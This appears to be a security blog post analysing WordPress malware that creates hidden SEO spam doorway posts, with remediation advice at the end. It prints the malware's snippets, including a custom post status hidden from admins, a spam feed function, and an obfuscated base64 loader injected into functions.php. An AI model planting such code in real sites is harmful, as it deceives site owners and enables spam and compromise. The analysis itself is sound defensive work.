A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS’ with spammy content in subdirectories of legitimate sites.
A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.
But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here’s an example of a WordPress malware that does just this:
The main idea is to register a new post status:
register_post_status( 'test', array( 'public' => true, 'exclude_from_search' => true, 'show_in_admin_all_list' => false, 'show_in_admin_status_list' => false ) );
The posts with this status are excluded from search results and from editing listings in the admin interface.
To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:
function feed_door(){ query_posts( 'post_status=test&showposts=20' ); require( ABSPATH . WPINC . '/feed-atom.php' ); }
In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme’s functions.php file invoked the code:
<?php add_action('init', create_function('', implode("n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.
Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.
Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.